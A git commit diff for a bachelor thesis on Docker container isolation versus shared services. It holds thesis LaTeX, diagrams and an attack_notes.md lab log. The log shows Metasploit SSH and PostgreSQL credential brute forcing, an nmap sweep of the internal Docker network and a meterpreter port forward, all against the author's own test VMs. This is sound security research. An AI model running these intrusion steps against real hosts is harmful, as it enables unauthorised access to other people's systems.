1
0

Progress (commit for backup reasons)

This commit is contained in:
Benedikt Galbavy 2025-05-16 20:35:58 +02:00
parent 8831e87a3c
commit 1589881898
19 changed files with 819 additions and 97 deletions

4
.gitignore vendored
View File

@ -9,3 +9,7 @@ webserver/base/shared/
tex/out/
tex/build/
tex/nul
webserver/hybrid/

204
attack_notes.md Normal file
View File

@ -0,0 +1,204 @@
# base
assumed ssh access:
```sh
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.10
msf6 auxiliary(scanner/ssh/ssh_login) > set rport 2222
msf6 auxiliary(scanner/ssh/ssh_login) > set username root
msf6 auxiliary(scanner/ssh/ssh_login) > set password root
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 192.168.56.10:2222 - Starting bruteforce
[+] 192.168.56.10:2222 - Success: 'root:root' 'uid=0(root) gid=0(root) groups=0(root) Linux 0e6d64e04e9d 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.56.28:34687 -> 192.168.56.10:2222) at 2025-05-12 13:47:23 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
```
access shell
```sh
msf6 > sessions -i 1
apt install dnsutils
```
assuming services are known, docker service names can be guessed
```
dig gitea
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> gitea
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35068
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;gitea. IN A
;; ANSWER SECTION:
gitea. 600 IN A 172.18.0.4
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:14:57 UTC 2025
;; MSG SIZE rcvd: 44
```
```
dig bitwarden
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> bitwarden
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 12038
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;bitwarden. IN A
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:15:05 UTC 2025
;; MSG SIZE rcvd: 27
```
```
dig vaultwarden
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> vaultwarden
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21853
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;vaultwarden. IN A
;; ANSWER SECTION:
vaultwarden. 600 IN A 172.18.0.2
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:27:21 UTC 2025
;; MSG SIZE rcvd: 56
```
internal IP, would circumvent firewall outside service containers
docker default subnets are 0.0.0.0/16, assuming 172.18.0.0/16
```
nmap -sS 172.18.0.0/16
Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-12 18:33 UTC
Nmap scan report for sandbox (172.18.0.1)
Host is up (0.000011s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
MAC Address: 6A:DF:AC:BC:46:C7 (Unknown)
Nmap scan report for vaultwarden.vagrant_internal (172.18.0.2)
Host is up (0.000012s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 52:F1:5A:53:4C:D0 (Unknown)
Nmap scan report for vaultwarden-db.vagrant_internal (172.18.0.3)
Host is up (0.000010s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
5432/tcp open postgresql
MAC Address: BA:40:F3:B6:75:F4 (Unknown)
Nmap scan report for gitea.vagrant_internal (172.18.0.4)
Host is up (0.000010s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
MAC Address: C2:B1:A8:B0:84:4B (Unknown)
Nmap scan report for gitea-db.vagrant_internal (172.18.0.5)
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
5432/tcp open postgresql
MAC Address: C6:59:C3:0C:1D:1D (Unknown)
Nmap scan report for nginx.vagrant_internal (172.18.0.6)
Host is up (0.0000080s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
MAC Address: 9A:7F:8F:2C:1A:0C (Unknown)
```
This scan reveals an open port 5432, which is commonly used for PostgreSQL, and an open port 22 on the gateway.
meterpreter:
```
sessions -i 2
meterpreter > sysinfo
Computer : 172.18.0.7
OS : Ubuntu 22.04 (Linux 5.15.0-136-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.3
[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.3:543
```
```
msf6 > use auxiliary/scanner/postgres/postgres_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/postgres/postgres_version) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 127.0.0.1:5432 Postgres - Version Unknown (Pre-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_version) > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 127.0.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fbackend_startup.c L800 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fbackend_startup.c L800 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fbackend_startup.c L800 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :password@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fbackend_startup.c L800 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :admin@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fbackend_startup.c L800 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: EOFError)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:password@template1 (Incorrect: EOFError)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: EOFError)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:password@template1 (Incorrect: EOFError)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L321 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: EOFError)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 0 credentials were successful.
[*] You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
```
conclusion: it secure, thank you very much, instlal your updates guys

5
logrotate-notes.md Normal file
View File

@ -0,0 +1,5 @@
````sh
sudo logrotate -f /etc/logrotate.d/docker-containers
ls -lh /var/lib/docker/containers/*/*.log*
```

View File

@ -4,6 +4,8 @@ $pdflatex = 'pdflatex -synctex=1 -interaction=nonstopmode -shell-escape --output
$pdf_mode = 1;
$allow_subdir_creation = 1;
$clean_ext = 'acn acr alg aux bbl blg fdb_latexmk fls glg glo gls idx ilg ind lof log lot out toc xdy';
$latexmk_postprocess = sub {

View File

@ -222,4 +222,25 @@
title = {vagrant up - Command-Line Interface | Vagrant | HashiCorp Developer},
url = {https://developer.hashicorp.com/vagrant/docs/cli/up},
urldate = {2025-04-11}
}
@misc{souppaya_2017_application,
author = {Souppaya, Murugiah and Morello, John and Scarfone, Karen},
month = {09},
publisher = {National Institute of Standards and Technology (NIST)},
title = {Application container security guide},
doi = {10.6028/nist.sp.800-190},
url = {https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf},
urldate = {2025-05-02},
year = {2017}
}
@misc{avrahami_2019_breaking,
author = {Avrahami, Yuval},
month = {02},
title = {Breaking out of Docker via runC Explaining CVE-2019-5736},
url = {https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/},
urldate = {2025-05-02},
year = {2019},
organization = {Unit42}
}

5
tex/Makefile Normal file
View File

@ -0,0 +1,5 @@
build/%.png: img/%.mmd
mmdc --output $@ --input $< --scale 3
%.png: img/%.mmd
mmdc --output build/$@ --input $< --scale 3

24
tex/img/attack_lab.mmd Normal file
View File

@ -0,0 +1,24 @@
architecture-beta
group host(server)[VM Host]
group docker(server)[Docker Host] in host
service gitea(server)[Gitea Service] in docker
service bitwarden(server)[Bitwarden] in docker
service nginx(server)[NGinX] in docker
service client(server)[Client] in host
service extern(server)[External] in host
service intranet(internet)[Intranet] in host
junction network in docker
nginx:L -- R:intranet
network:L -- R:nginx
network:T -- B:gitea
network:B -- T:bitwarden
intranet:T -- B:client
intranet:B -- T:extern

Binary file not shown.

Before

Width:  |  Height:  |  Size: 136 KiB

View File

@ -0,0 +1,34 @@
architecture-beta
group host(server)[Host]
group docker(cloud)[Docker] in host
service gitea(server)[Gitea Service] in docker
service giteavol(disk)[Gitea Volume] in host
service bitwarden(server)[Bitwarden] in docker
service nginx(server)[NGinX] in docker
service log(server)[Docker Logging] in host
service postgre(database)[PostgreSQL] in host
service internet(internet)[Internet]
junction network in docker
junction high in host
junction low in host
junction bitwardendb in host
junction giteadb in host
nginx:L -- R:internet
network:L -- R:nginx
network:T -- B:gitea
network:B -- T:bitwarden
low:R -- L:bitwardendb
high:R -- L:giteadb
gitea:R -- L:high
bitwarden:R -- L:low
low:T -- B:log
high:B -- T:log
bitwardendb:T -- B:postgre
giteadb:B -- T:postgre
gitea:T -- B:giteavol

View File

@ -0,0 +1,32 @@
architecture-beta
group host(server)[Host]
group docker(cloud)[Docker] in host
service giteadb(database)[Gitea DB] in docker
service gitea(server)[Gitea Service] in docker
service giteavol(disk)[Gitea Volume] in host
service bitwardendb(database)[Bitwarden DB] in docker
service bitwarden(server)[Bitwarden] in docker
service nginx(server)[NGinX] in docker
service log(server)[Docker Logging] in host
service internet(internet)[Internet]
junction network in docker
junction high in host
junction low in host
nginx:L -- R:internet
network:L -- R:nginx
network:T -- B:gitea
network:B -- T:bitwarden
bitwarden:L -- R:bitwardendb
gitea:L -- R:giteadb
gitea:R -- L:high
bitwarden:R -- L:low
low:T -- B:log
high:B -- T:log
gitea:T -- B:giteavol

Binary file not shown.

Before

Width:  |  Height:  |  Size: 146 KiB

1
tex/nul Normal file
View File

@ -0,0 +1 @@
mkdir: cannot create directory ./img/mermaid: File exists

View File

@ -26,6 +26,7 @@
\documentclass[BIF,Bachelor,english,IEEE]{twbook}%\documentclass[Bachelor,BMR,ngerman]{twbook}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{todonotes}
%% Definieren Sie hier weitere Literaturdatenbanken
%\addbibresource{Literaturdatenbank.bib}
@ -33,9 +34,10 @@
\usepackage[newfloat]{minted}
\usepackage{caption}
\newenvironment{code}{\captionsetup{type=listing}}{}
\SetupFloatingEnvironment{listing}{name=Source Code}
\graphicspath{./img}
\newenvironment{code}{\captionsetup{type=listing}}{}
\SetupFloatingEnvironment{listing}{name=Raw Text}
% Die nachfolgenden Pakete stellen sonst nicht benötigte Features zur Verfügung
\usepackage{blindtext}
@ -55,8 +57,8 @@
%\secondsupervisor[Begutachter]{Titel Vorname Name, Titel}
%\secondsupervisor[Begutachterinnen]{Titel Vorname Name, Titel}
\place{Wien}
\kurzfassung{\blindtext}
\schlagworte{Schlagwort1, Schlagwort2, Schlagwort3, Schlagwort4}
%\kurzfassung{\blindtext}
%\schlagworte{Schlagwort1, Schlagwort2, Schlagwort3, Schlagwort4}
\outline{\blindtext}
\keywords{Docker, Containerization, Hybrid, Security}
%\acknowledgements{\blindtext}
@ -74,11 +76,11 @@ Containerization is more relevant today than ever. Modern software design patter
\section{A Solution to Dependencies}
Especially in development, dependencies are a well known problem in non-standard environments; different software requires different versions of the same libraries, often resulting in conflicts. This can be caused by installing the latest version of a given dependency at some point, but not updating it---commonly known as the ``it works on my machine'' problem \cite{pardo_2023_but}\cite{wang_2025_common}. One such scenario of a dependency conflict is python, which often removes functions even in minor versions \cite{a2024_whats}, thus leading to incompatibilities---which are expressed as run-time errors in the case of python specifically, making them harder to detect. Containerization solves that problem by virtualizing encapsulated, standardized environments; Docker is one of the most widely adopted containerization tools \cite{a2025_leading}, and will thus be used as a stand-in for containerization for the purposes of this thesis. There is some functionality specific to docker, which have been highlighted chapter 5; overall these differences are very minor however, and for most purposes alternative tools like Podman fulfill the role equally well.
Especially in development, dependencies are a well known problem in non-standard environments; different software requires different versions of the same libraries, often resulting in conflicts. This can be caused by installing the latest version of a given dependency at some point, but not updating it---commonly known as the ``it works on my machine'' problem \cite{pardo_2023_but}\cite{wang_2025_common}. One such scenario of a dependency conflict is python, which often removes functions even in minor versions \cite{a2024_whats}, thus leading to incompatibilities---which are expressed as run-time errors in the case of python specifically, making them harder to detect. Containerization solves that problem by virtualizing encapsulated, standardized environments; Docker is one of the most widely adopted containerization tools \cite{a2025_leading}, and will thus be used as a stand-in for containerization for the purposes of this thesis. There is some functionality specific to docker, which have been highlighted \autoref{cha:discussion}; overall these differences are very minor however, and for most purposes alternative tools like Podman fulfill the role equally well.
\section{A Duplication of Dependencies}
As each container is a separate system, this introduces redundancy, particularly in background services and system-level dependencies rather than application libraries. While Docker does not duplicate the kernel or even the hardware to the same level a full virtual machine does \cite{docker_2023_what}, each container still contains a complete operating system---although it usually does not feature a full desktop environment, but only a minimal user space---especially with minimal distributions like Alpine Linux. Furthermore there is commonly a larger dependency overlap in most modern software[?]: Static elements like glibc and language interpreters mostly contribute to storage redundancy, but have a minimal performance impact. In contrast, service dependencies---including logging daemons, databases, and schedulers---consume CPU time, memory, and I/O resources. Considering similar services are often run on the same machine, such as two web services as shown in Chapter 2.1, these dependencies are often similar or identical. One notable example is databases---which are commonly provided as standalone containers \cite{zhao_2024_simplifying}, instead of being shipped with the image. While this separation can be convenient, this can lead to multiple instances of the same container on one host.
As each container is a separate system, this introduces redundancy, particularly in background services and system-level dependencies rather than application libraries. While Docker does not duplicate the kernel or even the hardware to the same level a full virtual machine does \cite{docker_2023_what}, each container still contains a complete operating system---although it usually does not feature a full desktop environment, but only a minimal user space---especially with minimal distributions like Alpine Linux. Furthermore there is commonly a larger dependency overlap in most modern software\todo{quote?}: Static elements like glibc and language interpreters mostly contribute to storage redundancy, but have a minimal performance impact. In contrast, service dependencies---including logging daemons, databases, and schedulers---consume CPU time, memory, and I/O resources. Considering similar services are often run on the same machine, such as two web services as shown in \autoref{sec:use_case_small_scale_web_services}, these dependencies are often similar or identical. One notable example is databases---which are commonly provided as standalone containers \cite{zhao_2024_simplifying}, instead of being shipped with the image. While this separation can be convenient, this can lead to multiple instances of the same container on one host.
\section{A Solution to Duplication}
@ -94,46 +96,58 @@ These risks highlight the importance of considering security implications when s
Since the focus of this thesis is on identifying improvements and analyzing trade-offs between isolation and efficiency of real world applications, a realistic scenario is required. The constructed environment requires interfaces---HTTP(S), SSH, persistent volumes, background services---similar to those found in a production environment, while still keeping it minimal to ensure accuracy of any implementations. There are countless scenarios that fulfill these criteria, but one of the most common are web services.
\section{Use-Case: Small Scale Web Services}
\section{Use-Case: Small Scale Web Services}\label{sec:use_case_small_scale_web_services}
In an enterprise context, redundancies can often be planned for and eliminated in advance, but in smaller scale scenarios, be it smaller companies, or even just personal projects, environments often grow organically by adding additional services reactively to changing requirements rather than planning long term---leading to unplanned duplication. Such systems also often use docker compose \cite{kamath_2021_containerize} or similar orchestration tools with convenience focused configurations---containing less moving parts and are easier to update---instead of favoring optimization. However these scenarios also have the highest incentive to stay cost effective.
\subsection{The pieces of the puzzle}
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.5\linewidth]{img/webservice-use_case.png}
\caption{Network diagram of a docker setup with Gitea and Bitwarden}\label{webservice}
\includegraphics[width=0.7\linewidth]{webservice-use_case.png}
\caption{Network diagram of a docker setup with Gitea and Bitwarden}\label{fig:webservice}
\end{figure}
\subsection{Gitea---A Wide Attack Surface}
\subsubsection{Gitea---A Wide Attack Surface}
Gitea serves as an example for any git server. It will be used due to its lightweight design, but is otherwise representative of enterprise grade systems like GitLab. A git server provides a wide attack surface \cite{gitea}\cite{gitlab} due to the mix of different user content through file storage, comments and issues, and CI pipelines, and a mix of interfaces with HTTP(S) access and SSH access---commonly via a user git. SSH access in particular requires careful configuration \cite{gasser_2014_a}, as the host needs to access an SSH server inside the container, something rarely done otherwise. Gitea requires a database for storing user submissions---which can be an integrated SQLite3 instance, but more commonly is a postgres database container, and it requires a file volume, commonly mounted directly to the host; it furthermore has optional dependencies in code runners for pipelines, and an email server.
\subsection{Bitwarden---Increasing the Stakes}
\subsubsection{Bitwarden---Increasing the Stakes}
Bitwarden, or more accurately vaultwarden---an open source implementation of a bitwarden server---serves a less complex component, but stores highly sensitive data. Unlike Gitea, it only requires a database and optionally an email server, but this raises the question of how big of a security risk is introduced by sharing a core service like a database between two services differing greatly in risk. Vaultwarden in particular provides great value to such an analysis due to its thorough documentation \cite{danigarcia_2025}, allowing purposeful misconfiguration to test different attack vectors.
\subsection{NGinX---The Entrypoint}
\subsubsection{NGinX---The Entrypoint}
Reverse proxies like NGinX or Traefik are commonly used as an entry point to route incoming requests \cite{wahanani_2021_implementation} to the correct services based on hostname. Compared to Traefik, NGinX also provides a significant amount of additional functionality, however an extended feature set can also introduce unnecessary complexity, increasing the risk of misconfigurations---this has to be analysed in the following chapters. It is also important to point out that oftentimes a firewall is even before the proxy, or integrated into it; examples include iptables rules on the host, or fail2ban integrated with the nginx logs.
\subsection{Background Service Redundancy}
\subsubsection{Background Service Redundancy}\label{ssub:background_service_redundancy}
Additionally to the primary services, there are some background services required, which affect both Gitea and Bitwarden:
For TLS/SSL, certificates are required---which are commonly handled by a Lets Encrypt ``certbot''. The service can either run on the host directly, or in its own container; either way the certificates will need to be exported to the NGinX container---in most cases the certificate service will write to a shared volume. However due to rate limits on issuing certificates, and the rapid testing required for this thesis, automatic certificate management has been eliminated as part of the tested setup.
As previously touched upon, most scenarios include some form of log management and processing. Docker already provides prerequisites, and allows configuring log collection to a file or to journald, however the logs still need to be combined, rotated, and sent for further processing, or processed with yet another additional service.
As previously touched upon, most scenarios include some form of log management and processing. Docker already provides prerequisites, and allows configuring log collection to a file, to journald, or to log drivers of common log management systems\todo{quote docker page of log drivers}. However since this is already integrated into docker itself, and does not need additional configurations of the docker services, analysing it would be beyond the scope of this thesis.
It should be noted, that the applications themselves are not the focus of the analysis, but just serve as means to an end; the focus is in the analysis of the dependencies.
\section{Use-Case: TBD}
\subsection{Reducing redundancy}
Secondary scenario if applicable
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.7\linewidth]{webservice-hybrid.png}{}
\caption{Network diagram of \autoref{fig:webservice} with a shared Postgres service}\label{fig:webservice-hybrid}
\end{figure}
\autoref{fig:webservice-hybrid} illustrates two services running on a shared host system, rather than deploying a separate instance for each service. Initially the logging system was considered as a candidate for demonstrating a hybrid setup. However, since docker already manages logging---including support for external logging systems, as discussed in \autoref{ssub:background_service_redundancy}---this approach would neither be novel nor yield any measureable difference to the baseline. Disabling Docker's built-in logging systems would introduce an arbitrary change not reflective of real-world scenarios. As a resuilt the focus now lies on replacing the two database containers with a shared service on the host. This change is expected to produce more meaningful differences in a practical scenario.
\subsection{Third party software doesn't always play nice}
Even in such a comparatively simple scenario, conflicts and issues between the services can and do arrise\todo{complete section}.
\chapter{Reproducibility}
Since the docker host system will also be tested, it also needs to be reproducible---to achieve that it will be instantiated as a virtual machine. Since the term host often has different meanings, especially in a context of containerization, this section will clarify the terms used for the rest of the thesis:
The device on which the VM is hosted will henceforth be called VM-host; the host of the Docker containers---the described VM---will be called docker host, docker VM, or just host. To allow reliable reproduction of attacks, these will also be made from a VM, which will be called the client-vm, or just client. If any further services are required, which would normally be external ``on the internet'', a third vm will be used, the ``external-vm''. The VM-host will only ever be used for configuring the VMs, never to test anything. The base configuration can be found in \ref{appendix_base_config}.
The device on which the VM is hosted will henceforth be called VM-host; the host of the Docker containers---the described VM---will be called docker host, docker VM, or just host. To allow reliable reproduction of attacks, these will also be made from a VM, which will be called the client-vm, or just client. If any further services are required, which would normally be external ``on the internet'', a third vm will be used, the ``external-vm''. The VM-host will only ever be used for configuring the VMs, never to test anything. The base configuration can be found in \autoref{appendix_base_config}.
\section{The Host of the Host}
@ -141,13 +155,13 @@ Tools have been selected based on reproducibility and compatibility, but not per
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.5\linewidth]{img/attack_lab.png}
\caption{Relation of the components in the lab setup using a simplified representation of the tested services}\label{lab}
\includegraphics[width=0.7\linewidth]{attack_lab.png}
\caption{Relation of the components in the lab setup using a simplified representation of the tested services}\label{fig:lab}
\end{figure}
\section{Tooling for the VM-Host}
To evaluate the effectiveness of base configuration and the implemented measures, a series of controlled attacks are performed from the client VM against the running services in the docker host. At first Ubuntu Desktop was considered as the OS, however as the client VM is not the focus of this thesis and thus does not need to be representative of the real world to the same degree as the docker VM, Kali Linux was determined to be a better option due to the suite of preinstalled tooling for the simulated attacks.
To evaluate the effectiveness of base configuration and the implemented measures, a series of controlled attacks are performed from the client VM against the running services in the docker host. At first Ubuntu Desktop was considered as the OS, however as the client VM is not the focus of this thesis and thus does not need to be representative of the real world to the same degree as the docker VM, Kali Linuxw as determined to be a better option due to the suite of preinstalled tooling for the simulated attacks.
The process is split into three phases, mirroring real world scenarios:
Reconnaissance: Tools like nmap, netcat and curl are used to discover any open ports, services, and misconfigurations.
@ -165,9 +179,13 @@ Post-Exploitation: After gaining access, tools like linpeas and manual inspectin
The goal in these tests is not to discover novel exploits, but to simulate real world attack paths and analyse the additional risk introduced by the hybrid architecture. It should also be noted, that some tested measures only protect against a specific step, or assumes certain prerequisites---some steps will thus be skipped where applicable.
\section{Entrypoints}
While for most attacks the entry point will be the same as for regular usage---in most cases via the exposed HTTP(S) port---such attacks are limited to surface weaknesses. It is however realistic to expect attackers to gain access in some form, through misconfigurations, issues introduced in the further up the software supply chain, or in extrem cases even through zero-day exploits; thus it is prudent to adopt ``assume breach'' mindset for setups as described in this thesis \cite{souppaya_2017_application} \cite{avrahami_2019_breaking}---for the purposes of testing the configurations, an assumed breach will be provided via a docker container\todo{How will access be simulated?}.
\chapter{The Holes in the Wall}
This chapter describes the tests against the architecture. Each test starts with the configuration described in \ref{appendix_base_config}, with the corresponding changes as described in \ref{appendix_patches} applied via patch\cite{patch1}. Assuming a complete configuration, the VMs are booted with vagrant\cite{hashicorp_vagrant}.
This chapter describes the tests against the architecture. Each test starts with the configuration described in \autoref{appendix_base_config}, with the corresponding changes as described in \autoref{appendix_patches} applied via patch\cite{patch1}. Assuming a complete configuration, the VMs are booted with vagrant\cite{hashicorp_vagrant}.
\section{Security analysis---Use-Case: Web Services}
@ -179,21 +197,20 @@ The base configuration is a minimal configuration, using default values wherever
\paragraph*{NMap Scan}
Fig. 3: Output of \texttt{sudo nmap -sS -p1-65535 192.168.56.10}
[In progress note: the log output will be attached in text format instead of as a screenshot in a later draft]
While no unexpected ports are open, it does reveal the setup redirecting to Gitea by default, instead of Bitwarden. This is not unexpected, since no other default has been specified.
As shown in \autoref{log:base:nmap_sS}, while no unexpected ports are open, it does reveal the setup redirecting to Gitea by default, instead of Bitwarden. This is not unexpected, since no other default has been specified.
Known services analysis:
[TODO: question for next meeting: how to display long outputs?]
Fig: 4: Output of \texttt{curl -kL gitea.local.vm}
The landing page of Gitea does not directly expose any critical data, however it does list the install version number, which paired with known security vulnerabilities\cite{gitea} can introduce a breach.
\paragraph*{Known services analysis}
Fig: 5: Output of \texttt{curl -kL bitwarden.local.vm}
Vaultwarden presents a similar issue after allowing the page to execute JavaScript.
The HTTP headers of the nginx entrypoint (\autoref{log:base:curl_I}) show a redirect and reveal the nginx version; following the redirect of the Gitea service (\autoref{log:base:curl_IL_gitea}) does not bring any new information; the body of this request (\autoref{log:base:curl_L_gitea}) forms the landing page of Gitea, and does not directly expose any critical data, however it does list the install version number, which paired with known security vulnerabilities \cite{gitea} can introduce a breach.
Vaultwarden presents a similar issue (\autoref{log:base:curl_L_bitwarden}) after allowing the page to execute JavaScript, however its headers (\autoref{log:base:curl_IL_bitwarden}) [\textellipsis].
\subsubsection*{Exploitation}
Exploitation
Detailed explanation of all scripts
Post-Exploitation
\subsubsection*{Post-Exploitation}
Detailed explanation of found consequences
\subsection{Outdated versions of services}
@ -208,26 +225,24 @@ Detailed explanation of found consequences
\subsection{Separate docker networks}
\chapter{Discussion - NAME PENDING}
\chapter{Discussion - NAME PENDING}\label{cha:discussion}
Introduction/Summary
\section{Untested configurations}
\section{Untested Configurations}
Due to the wide array of possible configurations for any docker setup, is it virtually impossible to cover all in detail. Nonetheless this section will try to highlight some more common configurations, which were left out, and reason on why they were not tested. It is important to note that this list is by no means a complete list in any form.
\subsection{Alternatives to docker networks}
\subsection{Alternatives to Docker Networks}
While it is common to expose specific ports for services---such as 3000 for NODE.js and thus Gitea, or variations on 8080 (8081, 8090, \textellipsis) for HTTP services---this approach is prone to cause port collisions. To avoid this, it is common to use a docker network \cite{a2024_networking} instead, especially as docker compose already defines the name of each service as its hostname. As docker networks are also a common security measure \cite{yasrab_2018_mitigating}, using hostnames not only improves convenience---both, in terms of setup and usage---but also security---thus testing configurations without using docker networks would not provide any meaningful results.
\subsection{Hardening of services}
The security of both services in the tested setup can be further improved by implementing the suggested hardening measures according to their documentations \cite{}\cite{}---some of which are implemented for other tests---testing security of the services in itself would however go past the scope of this thesis, as the selected services are merely a representation of a possible scenario.
\subsection{}
The security of both services in the tested setup can be further improved by implementing the suggested hardening measures according to their documentations\todo{cite hardening page gitea and bitwarden}---some of which are implemented for other tests anyway---extensively testing security of the services in itself would however go past the scope of this thesis, as the selected services are merely a representation of a possible scenario.
% Hier können Sie Ihre KI-Tools dokumentieren. Diese werden automatisch in eine Tabelle integriert.
\aitoolentry{My Brain}{Writing the thesis}{``Please write a thesis about [\textellipsis]'' Entire Document}
